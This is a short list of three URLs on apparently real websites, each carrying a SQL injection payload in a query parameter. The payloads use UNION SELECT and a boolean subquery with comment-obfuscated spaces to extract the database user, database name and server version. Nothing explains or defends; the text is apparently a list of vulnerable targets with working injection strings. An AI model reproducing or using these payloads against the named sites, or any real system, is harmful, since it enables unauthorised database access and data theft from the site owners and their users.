http://www.etc-llibres.com/pg.php?id=1&ic=-1/**/union/**/select/**/concat(user(),char(0),database(),char(0),version() ),2/*
http://www.screenroom.co.uk/php/id.asp?id=1/**/or/**/1=(select%20db_name())--
http://www2.mat.dtu.dk/people/uk.php?id=-1/**/union/**/select/**/1,user()--